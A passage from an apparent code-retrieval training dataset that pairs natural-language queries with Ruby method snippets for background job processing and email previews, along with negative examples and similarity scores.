RedmineSlackGlue.priority_to_color(issue[\"priority\"][\"id\"])\n\n puts \"#{issue[\"priority\"][\"id\"]} #{created} #{proj} ##{id} #{cat} #{subject}\" if self.verbose\n\n cat = RedmineSlackGlue.convert_category(cat)\n\n @slack_api.post({\n :channel => \"##{proj.downcase}\",\n :text => \"#{assigned_to_slack}: Ticket #{url} *#{subject}* - #{tracker}#{cat}\",\n :attachments => [{\n :fallback => RedmineSlackGlue.clean_markup(description),\n :color => color,\n :text => description,\n :mrkdwn_in=> [\"text\"]\n }],\n :username => \"#{author}\",\n :icon_url => REDMINE_ICON_URL\n })\n end", "def execute!\n @context.backend.schedule { run }\n end", "def execute\n logger.info('Processing message...')\n\n # Process message\n resp = execute_middleware_chain\n\n # Log processing completion and return result\n logger.info(\"Processing done after #{process_duration}s\") { { duration: process_duration } }\n resp\n rescue StandardError => e\n logger.info(\"Processing failed after #{process_duration}s\") { { duration: process_duration } }\n raise(e)\n end", "def perform\n begin\n # prepare the job\n prepare\n # check that everything is kosher\n check\n # run the job\n run\n # perform any post processing`\n clean_up\n rescue Exception => e\n PutMetricDataService.new.put_metric('DelayedJobErrorResponse', 'Count', 1)\n\n Rails.logger.warn e.message\n Rails.logger.warn e.backtrace\n Delayed::Worker.logger.warn e.message rescue nil # log to worker logger if available\n Delayed::Worker.logger.warn e.backtrace rescue nil # log to worker logger if available\n end\n end", "def run\n loop do\n File.open('logs/master_audit.log', 'a') do |log|\n log.puts message_from_queue\n end\n sleep 1.0\n end\n end", "def start\n @thread = Thread.new do\n # pop a request\n while (job = @queue.pop) do\n if job.exist?\n # process the request\n result_type = process(job)\n archive_result(job, result_type)\n\n # push status message\n update_status(job.id, name: \"COMPLETED\")\n end\n\n # remove the request\n @jobs.delete(job.id)\n end\n end\n end", "def execute(context)\n @producers.each { |p|\n p.process(context, @processor_uuid.uuid)\n @jobs_started += 1\n }\n \n # wait until we get signaled for each producer\n # process\n while @jobs_started > 0\n Foundry::Callback.wait_for(Resque.redis, @processor_uuid.uuid)\n @jobs_started -= 1\n end \n \n end", "def process_job job\n begin\n log.info \"Performing job #{job.id}\"\n jo = job.job_object\n jo.log = log\n jo.perform\n log.info \"Job #{job.id} completed\"\n job.complete\n Model::Worker.increment(id, {:'stats.done' => 1})\n rescue Exception => e\n log.error \"Job #{job.id} failed\"\n log.error e\n job.fail e\n Model::Worker.increment(id, {:'stats.failed' => 1})\n p e\n end\n end", "def process(context)\n @action = context.action if context && context.respond_to?(:action) && context.action\n logger.info(\"Starting job #{self.class.name.underscore} with action #{@action}\")\n begin\n self.__send__(@action, context)\n logger.info(\"Finished job #{self.class.name.underscore} with action #{@action}\")\n rescue\n logger.info(\"Failed job #{self.class.name.underscore} with action #{@action}\")\n raise\n end\n end", "def update_issue(issue_data, issue_task, build_number)\n \n issue_key = issue_data.key\n comments = @jira.getComments(issue_key)\n last_comment = comments.last\n\n # get the status\n status = STATUS.index(issue_data.status)\n if !status\n puts \"ERROR: unknown status for issue #{issue_key}: \"\n p issue_data\n return\n end\n\n puts \"status for issue #{issue_key} = #{status}\" if @dry_run\n\n # comment will be posted if\n # - the last comment wasn't already from the deploy notify script\n # - if the state is in :notyetstarted, :started, :finished or :rejected mode\n if (last_comment && !last_comment.body.start_with?(FIXED_COMMENT_PREFIX)) || !last_comment\n \n txt = String.new(FIXED_COMMENT_PREFIX) # comment should always begin with this\n txt << \"Fixed in Git and deployed with build #{build_number}\"\n\n if [:notyetstarted, :started, :finished, :rejected].include?(status)\n\n if status != :finished\n txt << \"\\n\\nNOTE: this issue is not in expected finished state... please verify and update status to delivered if necessary\"\n end\n\n comment = Jira4R::V2::RemoteComment.new()\n comment.body = txt\n\n begin\n @jira.addComment(issue_key, comment) if !@dry_run\n rescue => err\n puts \"ERROR: unable to add comment to issue issue #{issue_key}:\\n#{err}\"\n end\n\n # jira won't allow us to update status to delivered unless it's in rejected state\n if status == :finished\n puts \"updating issue #{issue_key} to status delivered\"\n begin\n @jira.progressWorkflowAction(issue_key, JIRA_ACTION_ID[:delivered], []) if !@dry_run\n rescue => err\n puts \"ERROR: unable to update issue #{issue_key}:\\n#{err}\"\n end\n else\n puts \"issue #{issue_key} is in unexpected status #{status}, not updating status.\"\n end\n end\n end\n end", "def call(worker, msg, queue)\n if worker.class.ancestors.include? Sidekiq::Status::Worker\n worker.id = msg['args'].shift\n unless worker.id.is_a?(String) && UUID_REGEXP.match(worker.id)\n raise ArgumentError, \"First job argument for a #{worker.class.name} should have uuid format\"\n end\n worker.update_status! 'working'\n yield\n worker.update_status! 'complete'\n else\n yield\n end\n rescue Worker::Stopped\n worker.update_status! 'stopped'\n rescue => e\n if worker.class.ancestors.include? Sidekiq::Status::Worker\n worker.update_status! 'failed'\n worker.update_message!({\n exception: e.message,\n backtrace: e.backtrace\n })\n msg['args'].unshift worker.id\n end\n raise\n ensure\n if worker.class.ancestors.include? Sidekiq::Status::Worker\n Sidekiq.redis { |conn| conn.expire worker.id, @expiration }\n end\n end", "def process!\n end", "def reserve_and_run_one_job; end", "def run_thread\n receive do |message|\n process message\n end\n rescue => error\n error(error)\n\n retry\n end", "def execute_cron_job\n lambda do\n |request, jle|\n $db_lock.synchronize {\n jle.run_status = 'Running'\n jle.start_time = Time.now\n jle.save(:validate => false)\n }\n jlh = Hash.new\n jlh[:run_status] = \"Failure\"\n @@thread_count = @@thread_count + 1;\n Thread.current[:name] = \"JOB_THREAD \" + request.to_s + ' ' + @@thread_count.to_s;\n Thread.current[:watchdogged] = false\n begin\n jmd = JobMetadata.job_code(request)[0]\n @job_map[Thread.current] = jmd.max_execution_minutes.to_i.minutes.from_now\n\n jlh[:jmd] = jmd\n jlh[:jle] = jle\n commands = gather_commands(true,request)\n commands = commands[request]\n if (commands.nil? || commands.empty?)\n $logger.error(\"There are no commands for request #{request}. Exiting...\")\n return\n end\n $logger.debug(\"The size of commands is \" << commands.length.to_s)\n #total_result = nil\n commands.each do |command|\n command.chomp!\n $logger.debug(\"command = #{command}\")\n #$stderr.puts(\"executing #{command}\")\n #result = `#{command}` There seems to be a bug in ruby where backticks hang in multi threaded situations\n result = JobEngine.execute_command_to_temp(command)\n #$stderr.puts(\"executed #{command}\")\n result.chomp!\n\n if (jlh[:job_result].nil?)\n jlh[:job_result] = result\n else\n jlh[:job_result] << \"\\n\" << result\n end\n $logger.debug(\"the result is #{result}...\")\n #check to see if the command is in\n end\n # $stderr.puts(\"About to finish the jle\")\n # finish_job_log_entry(Time.now,total_result, jle, nil)\n jlh[:run_status] = \"Completed\"\n # $stderr.puts(\"finished the jle\")\n # email_job_result(total_result,jle,jmd) if jmd.email_result\n # $stderr.puts(\"emailed\") if jmd.email_result\n # $stderr.puts(\"not emailed\") unless jmd.email_result\n\n rescue =>ex\n error = \"An execution thread terminated while executing \" << request\n $logger.error(error)\n $logger.error(ex.to_s)\n jlh[:job_result] = '' if jlh[:job_result].nil?\n jlh[:job_result] << ex.to_s\n ensure\n unless jlh[:run_status].eql?(\"Completed\")\n jlh[:job_result] = '' if jlh[:job_result].nil?\n if (Thread.current[:watchdogged])\n jlh[:job_result] << \"\\nKilled by the job watch dog at \" + Thread.current[:watchdogged_time].to_s + \"!\"\n else\n jlh[:job_result] << \"\\nAn exceptional event occurred!\"\n end\n end\n finish_job_log_entry(jlh)\n end\n end\n end", "def call\n process\n end", "def run\n self.proc.call\n end", "def perform(*args)\n puts \"--------------------\"\n puts \"Running a super awesome job\"\n puts \"--------------------\"\n puts \"this one right here.\"\n end", "def run_worker(queue)\n ops = {:pgroup => true, :err => [(Rails.root + \"log/resque_err\").to_s, \"a\"],\n :out => [(Rails.root + \"log/resque_stdout\").to_s, \"a\"]}\n env_vars = {\"QUEUE\" => queue.to_s}\n ## Using Kernel.spawn and Process.detach because regular system() call would\n ## cause the processes to quit when capistrano finishes\n pid = spawn(env_vars, \"rake resque:work\", ops)\n Process.detach(pid)\n pid\nend", "def process\n @notifier.process\n end", "def queue\n # If a Document is associated with this ProcessingJob, determine\n # whether the Document is available to be worked on, and if it's not\n # use ActiveRecord's error system to indicate it's unavailability.\n #if document and document.has_running_jobs?\n # errors.add(:document, \"This document is already being processed\") and (return false)\n #\n # # in future we'll actually lock the document\n # # Lock the document & contact CloudCrowd to start the job\n # #document.update :status => UNAVAILABLE\n #end\n \n begin\n # Note the job id once CloudCrowd has recorded the job.\n @response = RestClient.post(ProcessingJob.endpoint, {:job => CloudCrowdSerializer.new(self).to_json})\n @remote_job = JSON.parse @response.body\n self.cloud_crowd_id = @remote_job['id']\n\n # We've collected all the info we need, so\n save # it and retain the lock on the document.\n rescue Errno::ECONNREFUSED, RestClient::Exception => error\n LifecycleMailer.exception_notification(error).deliver_now\n # In the event of an error while communicating with CloudCrowd, unlock the document.\n self.update_attributes :complete => true\n #document.update :status => AVAILABLE\n raise error\n end\n end", "def _run\n Sparrow.logger.info(\"received a build\", build: build.data)\n end", "def dispatch\n @queue.pop.run while @queue.ready?\n end", "def complete_post_processing_tasks\n process_incident_issues if process_issues?\n send_alert_email if send_email? && notifying_alert?\n end", "def run(job)\n if @inqueue.size >= @queue_length\n @result_handler.call(*result)\n end\n @inqueue.push(job)\n @jobcount += 1\n nil\n end", "def queue(message); end", "def reprocess_request_issues_update!(request_issue, request_issues_update, index)\n DecisionReviewProcessJob.perform_now(request_issues_update)\n @logs.push(\"#{Time.zone.now} ContentionNotFoundRemediation::Log - Number: #{index}\"\\\n \" RIU ID: #{request_issues_update.id}. RI ID: #{request_issue.id}. Reprocessing Request Issues Update.\")\n end", "def process_attachment(attachment)\n #first, parse entries\n queue_entries_and_store_total(attachment)\n #next, start job to normalize data\n delay.process_report_entries\n end", "def _run\n super.tap { reenqueue }\n end", "def perform_task\n # actually do the work\n end", "def execute\n @job = nil\n @job = @beanstalk.reserve(120) rescue nil\n if @job\n $stdout.puts \"[C] #{Process.pid} processing job #{@job.inspect}\"\n # ... do more processing here\n end\n rescue Beanstalk::TimedOut\n ensure\n @job.delete rescue nil if @job\n end", "def execute(message)\n failure_wrap(message) do |payload|\n write_release(payload) if payload.get(:data, :github_kit, :release)\n write_commit_comment(payload) if payload.get(:data, :github_kit, :commit_comment)\n write_status(payload) if payload.get(:data, :github_kit, :status)\n job_completed(:github_kit, payload, message)\n end\n end", "def perform!\n Quebert.config.before_job(self)\n Quebert.config.around_job(self)\n\n # Honor the timeout and kill the job in ruby-space. Beanstalk\n # should be cleaning up this job and returning it to the queue\n # as well.\n val = ::Timeout.timeout(ttr, Job::Timeout){ perform(*args) }\n\n Quebert.config.around_job(self)\n Quebert.config.after_job(self)\n\n val\n end", "def perform(_sqs_msg, user_id)\n user = User.find_by(id: user_id)\n if user\n puts 'Sending email'\n SendEmail.send_mail(user)\n else\n puts 'Job failed'\n end\n end", "def run\n raise \"run() Not Implemented on worker #{self.class.name}\"\n end" ]
[ "0.65592515", "0.64498305", "0.6415142", "0.62587124", "0.61834025", "0.61501986", "0.61204076", "0.61118776", "0.60305685", "0.59963465", "0.59804034", "0.59628177", "0.5936655", "0.5936655", "0.59322083", "0.5904609", "0.5882505", "0.5876635", "0.5872128", "0.58446383", "0.5820381", "0.5812483", "0.579628", "0.57893586", "0.578157", "0.5768613", "0.5738427", "0.57298493", "0.57168716", "0.5715966", "0.5706551", "0.5700896", "0.56864184", "0.56848", "0.56715244", "0.5661335", "0.56567526", "0.56455356", "0.5638359", "0.5631985", "0.5627157", "0.5621157", "0.5619028", "0.5603768", "0.5602896", "0.56011146", "0.5590374", "0.5589006", "0.55827546", "0.55682474", "0.5557087", "0.55499816", "0.5545085", "0.5537759", "0.5530534", "0.5525235", "0.5512751", "0.5512006", "0.5511903", "0.55118775", "0.55099404", "0.5489423", "0.54849607", "0.5479907", "0.5479279", "0.54772484", "0.54745674", "0.5472668", "0.54725075", "0.5469325", "0.54643846", "0.5464066", "0.5458781", "0.5456609", "0.5454138", "0.54491276", "0.54426193", "0.542558", "0.5423251", "0.5421767", "0.5419474", "0.54160553", "0.54077727", "0.5405575", "0.5402172", "0.53968126", "0.539576", "0.5392282", "0.53887564", "0.53882486", "0.5384767", "0.53791565", "0.53782463", "0.53755534", "0.5373475", "0.53694284", "0.5369082", "0.53665406", "0.5363772", "0.5361773" ]
0.7201812
0
Preview this email at
def password_reset MailerMailer.password_reset end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def preview\n @email = Email.find(params[:id])\n render :text => @email.body\n end", "def preview\n @email = DirectEmail.find(params[:id])\n render :text => @email.body\n end", "def preview\n @email = EventEmail.find(params[:id])\n render :text => @email.body\n end", "def preview_email\r\n invitation = Invitation.new(:user => current_user, :code => Code.new)\r\n mail = Mailers::Debate.create_invitation(current_user, @resource, invitation)\r\n @mail_body = mail.body.sub('No message provided', 'YOUR PERSONALIZED NOTE GOES HERE')\r\n\r\n render :inline => %Q{<%= simple_format(@mail_body, {:style => 'margin: 8px 0px'}) %>}\r\n end", "def demo\n preview(DemoMailer.demo)\n end", "def demo\n preview(DemoMailer.demo)\n end", "def call(email, params = {})\n preview = new(params)\n message = preview.public_send(email)\n inform_preview_interceptors(message)\n message\n end", "def call(email)\n preview = self.new\n preview.public_send(email)\n end", "def preview_newsletter\n @newsletter = @structure.newsletters.friendly.find params[:id]\n\n # Send email to no recipients to generate mail object\n mail = NewsletterMailer.send_newsletter(@newsletter, nil)\n @body = MailerPreviewer.preview(mail)\n\n render layout: false\n end", "def preview\n task = MailTasks::Task.new( params[:task] )\n recipient = StoreUser.find( params[:id], :include => \"customer\", :readonly => true )\n mail = task.generate_mails( [recipient], false, mail_layout_options ).first\n render :text => mail.content_with_layout( mail_layout_options ), :layout => false\n # rescue => exception\n # headers[\"Content-Type\"] = \"text/plain\"\n # render :text => exception.to_yaml, :layout => false\n end", "def preview_to(recipient)\n @newsletter = build_newsletter\n mail = build_mail\n mail.to = recipient.email\n replace_and_send_mail_safely(mail, recipient)\n end", "def show_body\n I18n.with_locale @email_locale do\n @mail_body = mail_body(@preview, @part_type)\n render :show_body, layout: 'rails_email_preview/email'\n end\n end", "def process_explanation_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.process_explanation_mail(Petition.live.first)\n end", "def content_for_preview( layout_options )\r\n content = self.body.dup\r\n content.gsub!( /<%=\\s?(@[^%]+)\\s?%>/, '<code>\\1</code>' )\r\n mail = Mail.new( :token => \"\" )\r\n mail.content = Render::Base.new( content ).mail_content\r\n template = IO.read(\"#{RAILS_ROOT}/app/views/mail_tasks/mailer/this_mail.text.html.rhtml\")\r\n \r\n render = Render::Base.new( template, layout_options.merge( :mail => mail ) )\r\n render.mail_content\r\n end", "def preview\n frm.button(:value=>\"Preview\").click\n PreviewAnnouncements.new(@browser)\n end", "def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end", "def preview\n end", "def preview\n end", "def show\n @decrypted = @autocrypt.decrypt(@email)\n @reply_params = {\n to: @email.from,\n subject: 'Re: ' + @email.subject,\n body: (@decrypted || @email.body).gsub(/^/, '> ')\n }\n end", "def preview\n attachments.first.file.url(:preview)\n rescue StandardError => exc\n logger.error(\"Message for the log file while retrieving preview #{exc.message}\")\n 'empty_file.png'\n end", "def preview\n redirect_to preview_url\n end", "def preview\n @text = params[:deliverable][:description]\n render :partial => 'common/preview'\n end", "def preview_announcement(subject)\n frm.link(:text=>subject).click\n PreviewAnnouncements.new(@browser)\n end", "def show\n if @sent_email.photo.nil?\n @display_name = ''\n @title = ''\n @flickr_url = ''\n else\n @display_name = @sent_email.photo.member.display_name\n @title = @sent_email.photo.title\n @flickr_url = @sent_email.photo.get_flickr_url\n end\n end", "def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end", "def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end", "def send_preview(recipients, personalize=\"fallback\")\n options = { :body => {\n :PreviewRecipients => recipients.kind_of?(String) ? [ recipients ] : recipients,\n :Personalize => personalize }.to_json }\n response = post \"sendpreview\", options\n end", "def create\n @mail = Mail.new(params[:mail])\n @mail.user = current_user\n \n if params[:preview_button] || !@mail.save\n render :action => \"new\"\n else\n flash[:notice] = 'Mail was successfully created.'\n redirect_to(@mail)\n end\n end", "def last_message_preview=(value)\n @last_message_preview = value\n end", "def edit\n yield @editor\n @mail = @editor.mail\n @message = @mail.to_s\n end", "def preview_text\n return @preview_text\n end", "def preview_text\n return @preview_text\n end", "def preview\n return @preview\n end", "def inspect\n \"#<Envelope::Message to=#{formatted_to} from=#{formatted_from} cc=#{formatted_cc} bcc=#{formatted_bcc} reply_to=#{formatted_reply_to} subject=\\\"#{subject}\\\" text_part=\\\"#{preview = (text_part || html_part); (preview && preview.gsub(/\\s+/, ' ') || 'No preview available')[0..50]}...\\\">\"\n end", "def petition_announcement_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.petition_announcement_mail(Petition.live.first)\n end", "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "def preview() @page.find(input_elements[:preview]) end", "def preview(channel_id, msg_id, data)\n channel_config, message_config, text =\n prepare_message(channel_id, msg_id, data)\n chats = channel_config.chat_ids\n connector = channel_config.connector\n\n if message_allowed?(message_config, data)\n connector.preview(chats, text, message_config)\n else\n puts \"No message sent beacuse it's not allowed\"\n end\n end", "def improve_and_reopen_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.improve_and_reopen_mail(Petition.live.first)\n end", "def hand_over_to_office_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.hand_over_to_office_mail(Petition.live.first)\n end", "def content_preview\n self.send(content_preview_method)\n end", "def write_about_hand_over_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.write_about_hand_over_mail(Petition.live.first)\n end", "def preview\n order = current_user.orders.find_by_cookbook_id(params[:id])\n @cookbook = (order) ? order.cookbook : current_cookbook\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cookbook-#{@cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: @cookbook, \n filename: preview_path\n )\n preview.cookbook\n render \"previews/preview\"\n end", "def preview=(value)\n @preview = value\n end", "def preview_path_for_attachment(attachment)\n preview_attachment_path(id: attachment.attachment_data.id, file: attachment.filename.split('.').first, extension: attachment.file_extension)\n end", "def preview(attachment, options)\n Rails.application.routes.url_helpers.rails_representation_path(attachment.preview(options), only_path: true)\n end", "def preview_doc\n @tpl = Template.find(params[\"template_id\"]) \n output = @tpl.render_by_model_id(params[:id], 'print', 'www.freightoperations.com:8080')\n render(:text => output, :layout => false) \n end", "def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end", "def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end", "def last_message_preview\n return @last_message_preview\n end", "def preview\n @preview ||= Preview.new(self) #if has_preview?\n end", "def tweet_reviewed_by_influencer(tweet)\n @tweet = tweet\n\n set_attachments\n\n mail(to: tweet.campaign.advertiser.user.email, subject: \"Notificaciones @ Social Target - Uno de tus tweets fue revisado/modificado por una empresa\")\n end", "def body_preview=(value)\n @body_preview = value\n end", "def preview\n content[0..19]\n end", "def view(review, recipient)\n @review = review\n\n mail(to: recipient.email, subject: \"#{@review.review_type == \"cto\" ? @review.booking.user.first_name : @review.booking.offer.user.first_name} vous a laissé un commentaire\")\n end", "def new_review_email (review)\n\t@book = review.book\n\t@review = review\n\tmail :to => @book.readers.collect{|r| r.email},\n\t :subject=>\"New review for #{@book.title}\"\n end", "def preview(element_key)\n parameter = { basic_auth: @auth }\n self.class.get(\"/elements/#{element_key}/preview\", parameter)\n end", "def open\n mail = MailTasks::Mail.find_by_token( params[:id] )\n raise ActiveRecord::RecordNotFound unless mail # raise 404 if mail is not found\n \n options = {\n :post_back_url => url_for( :controller => \"/email\", :action => \"red_logo\" ),\n :base => [request.protocol, request.host].join\n }\n render :text => mail.content_with_layout( options ), :layout => false\n end", "def emailOnMetareview(revieweeId)\r\n puts \"in Metareview\"\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n user=User.find_by_id(participant)\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review_of_review\"\r\n if(user.email_on_review_of_review)\r\n email(user.email,\"Metareview\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end", "def body_preview\n return @body_preview\n end", "def preview(*)\n nil\n end", "def preview(*)\n nil\n end", "def preview\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_extra_page-#{@extra_page.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.extra_page @extra_page.id\n render \"previews/preview\"\n end", "def reference_number_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.reference_number_mail(Petition.live.first)\n end", "def ask_office_for_answer_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.ask_office_for_answer_mail(Petition.live.first)\n end", "def show\n set_retail\n end", "def preview_name\n name.sub(/Preview$/, '').underscore\n end", "def preview\n mixpanel_tab_event(\"View Item\", \"Get Preview URL\")\n begin\n embed_url = user_client.embed_url(params[:id])\n redirect_to embed_url\n rescue\n redirect_to no_support_url\n end\n\n end", "def blog_preview\n object._challenge\n end", "def show\n session[:applicant_token] = params[:id] unless current_user\n @email = ERB.new(Settings.email_template).result(get_binding)\n p EMAIL: @email\n end", "def ping_reviewer(review)\n\n to_list = [review[:user].email]\n cc_list = []\n subject = 'Your unresolved Design Review(s)'\n\n @user = review[:user]\n @result = review[:results]\n \n if review[:urgent]\n attachments.inline['warning.png'] = File.read('app/assets/images/warning.png')\n headers['Importance'] = 'high'\n headers['X-Priority'] = '1'\n headers['X-MSMail-Priority'] = 'High'\n end\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list,\n ) \n end", "def preview_text(maxlength = 30)\n return \"\" if description.blank?\n my_contents = description[\"contents\"]\n return \"\" if my_contents.blank?\n content_flagged_as_preview = my_contents.select { |a| a[\"take_me_for_preview\"] }.first\n if content_flagged_as_preview.blank?\n content_to_take_as_preview = my_contents.first\n else\n content_to_take_as_preview = content_flagged_as_preview\n end\n preview_content = self.contents.select { |content| content.name == content_to_take_as_preview[\"name\"] }.first\n return \"\" if preview_content.blank? || preview_content.essence.blank?\n text = preview_content.essence.preview_text(maxlength)\n text.size > maxlength ? \"#{text[0..maxlength]}...\" : text\n end", "def link_to_preview(text, type_id, *args)\n link_to_function text, \"CCPEVE.showPreview(#{type_id.inspect})\", *args\n end", "def preview_text=(value)\n @preview_text = value\n end", "def preview_text=(value)\n @preview_text = value\n end", "def resume_confirm(email, username, filename)\n subject 'You have uploaded your resume to YouIntern'\n recipients email\n from 'support@youintern.com'\n sent_on Time.now\n \n body :username => username, :filename => filename\n end", "def preview_text(max_length = 30)\n attachment&.name.to_s[0..max_length - 1]\n end", "def display_resume\n\t profile_resume = Profile.find_by_id(params[:id]).resume\n send_data(profile_resume.attachment_binary.data,\n\t\t\t\t :filename => profile_resume.name,\n\t\t\t\t :type => profile_resume.content_type,\n\t\t\t\t :disposition => \"attachment\"\n\t\t\t\t )\n end", "def generate_complete_timeline_preview_url(given_timeline_id)\n tl_entry_to_use = Timeline.find(given_timeline_id)\n target_page_path = timeline_path(tl_entry_to_use)\n \n protocol_host_port = \"#{request.protocol}#{request.host_with_port}\"\n main_url = \"#{protocol_host_port}#{target_page_path}?preview=true\"\n \n url_to_return = URI::encode(main_url)\n return url_to_return\n end", "def preview(article)\n unless article.published_at.nil?\n article_path(article)\n else\n preview_path(article.preview_hash)\n end\n end", "def post_edit_email\n NotificationMailer.post_edit_email('default@email.com')\n end", "def reviewed(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo Biopharma Inquiry Reviewed'\n end", "def update\n @mail = Mail.find(params[:id]) \n if !@mail.update_attributes(params[:mail]) || params[:preview_button]\n \n render :action => \"edit\"\n else\n flash[:notice] = 'Mail was successfully updated.'\n redirect_to(@mail)\n end\n end", "def to_s\n \"Last Modified: #{@modifiedAt}\\nStatus: #{@status}\\nAssigned to: #{@owner}\\nSubject: #{@subject}\\n#{@preview}\"\n end", "def show\n #TRACKER.track(current_user['email'], \"READ_EMAIL\", {\"email_id\" => @email.id, \"email_reference\" => @email.reference_id})\n TRACKER.track(current_user['email'], \"READ_EMAIL\", @email.id, @email.reference_id)\n end", "def preview!(purchase)\n post(purchase, \"#{collection_path}/preview\")\n end", "def preview!(purchase)\n post(purchase, \"#{collection_path}/preview\")\n end", "def preview\n begin\n page = Comatose::Page.new(params[:page])\n page.author = current_user\n if params.has_key? :version\n content = page.to_html( {'params'=>params.stringify_keys, 'version'=>params[:version]} )\n else\n content = page.to_html( {'params'=>params.stringify_keys} )\n end\n rescue SyntaxError\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n rescue\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n end\n render :text=>content, :layout => false\n end", "def show\n # notification_email\n end", "def preview\n self.content.split(' ')[0...5].join(' ') + '...'\n end", "def apply(interviewee,interviewer)\n @interviewee = interviewee\n @interviewer = interviewer\n mail(to: @interviewee.email + \",\" + @interviewer.email, subject: '面接日程承認のお知らせ')\n end", "def to_s\n '#<Twilio::REST::Preview>'\n end", "def to_s\n '#<Twilio::REST::Preview>'\n end", "def email_approved_proposal\n ProposalMailer.email_approved_proposal\n end", "def preview_submit\n @story = Story.find(params[:submission])\n @story_slam_preview = true # to hide/show certain things in the header\n end", "def set_preview\n @preview = Preview.find(params[:id])\n end", "def preview_msg(msg_params_with_name)\n uri = 'cgi-bin/operate_appmsg?sub=preview&t=ajax-appmsg-preview'\\\n \"&type=10&token=#{@token}&lang=zh_CN\"\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/appmsg?t=media/appmsg_edit'\\\n \"&action=edit&type=10&isMul=0&isNew=1&lang=zh_CN&token=#{@token}\",\n host: 'mp.weixin.qq.com',\n x_requested_with: 'XMLHttpRequest'\n }\n resource = RestClient::Resource.new(@home_url, headers: headers, cookies: @cookies)\n\n res = resource[uri].post msg_params_with_name\n # \"ret\":\"0\", \"msg\":\"preview send success!\", \"appMsgId\":\"201796045\", \"fakeid\":\"\"\n JSON.parse res.to_s\n end", "def review_posted(email,permalink) \n @service_permalink = permalink \n subject = \"A review was posted for your service\"\n setup_email(email, subject)\n end", "def preview_cover\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cover-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.cover\n render \"previews/preview\"\n end", "def emailOnReview(revieweeId)\r\n puts \"we are in email on review\"\r\n @team_member = TeamsUser.find_all_by_team_id(revieweeId)\r\n asstId = Team.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review\"\r\n @team_member.each do |team_Member|\r\n # get parameters for sending mail\r\n user=User.find_by_id(team_Member.user_id)\r\n puts \"teammate name = #(user.name)\"\r\n if(user.email_on_review)\r\n email(user.email,\"Review\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end\r\n end", "def preview_edit\n\n layout_style = nil\n if (params[:layout])\n layout_style = params[:layout]\n end\n\n\n begin\n @bulletin = Bulletin.find(params[:id])\n @bulletin_layout = @bulletin.layout_for_editing(layout_style, self)\n headers[\"Content-Type\"] = @bulletin_layout.filetype + \"; charset=\" + @bulletin_layout.charset\n render :text => @bulletin_layout.rendered, :layout => 'bulletin'\n return\n rescue SyntaxError\n @error = _('A fatal error has occurred while compiling the temlpate!') + \n '<br /><br />ERROR: '+$!\n end\n render :action => 'error', :layout => 'bulletin'\n end" ]
[ "0.71475905", "0.71186084", "0.70552814", "0.6985626", "0.6848472", "0.6848472", "0.6832406", "0.6663229", "0.64324814", "0.631654", "0.6304366", "0.6181875", "0.6167911", "0.61338973", "0.61305445", "0.6115152", "0.61100966", "0.61100966", "0.60882556", "0.60132533", "0.5982547", "0.5970752", "0.5921947", "0.5854165", "0.58256847", "0.58256847", "0.5801412", "0.5798907", "0.57861274", "0.5756108", "0.57435614", "0.57311475", "0.5694853", "0.5693586", "0.56733876", "0.56689703", "0.5667859", "0.56230783", "0.5584482", "0.5580056", "0.556691", "0.5565034", "0.553256", "0.55282027", "0.5521174", "0.55182135", "0.54865557", "0.54802716", "0.54802716", "0.5475045", "0.54698133", "0.5462231", "0.54592174", "0.5457588", "0.54561025", "0.5434102", "0.54326165", "0.5418592", "0.5416024", "0.5406969", "0.5398783", "0.5398783", "0.5390498", "0.53865004", "0.53677875", "0.5354904", "0.53483963", "0.53450906", "0.53428084", "0.5339015", "0.5331245", "0.5324016", "0.5320464", "0.52986485", "0.52971554", "0.52956325", "0.52885884", "0.52866477", "0.52858466", "0.52848935", "0.5274558", "0.52651525", "0.5261375", "0.5255958", "0.52543974", "0.52372897", "0.52372897", "0.5235101", "0.522828", "0.5226132", "0.5213765", "0.52118236", "0.52118236", "0.52064675", "0.5192629", "0.5186882", "0.5167913", "0.51622766", "0.5158241", "0.515572", "0.5152641" ]
0.0
-1
executing rspec test, with cutting stderr application output
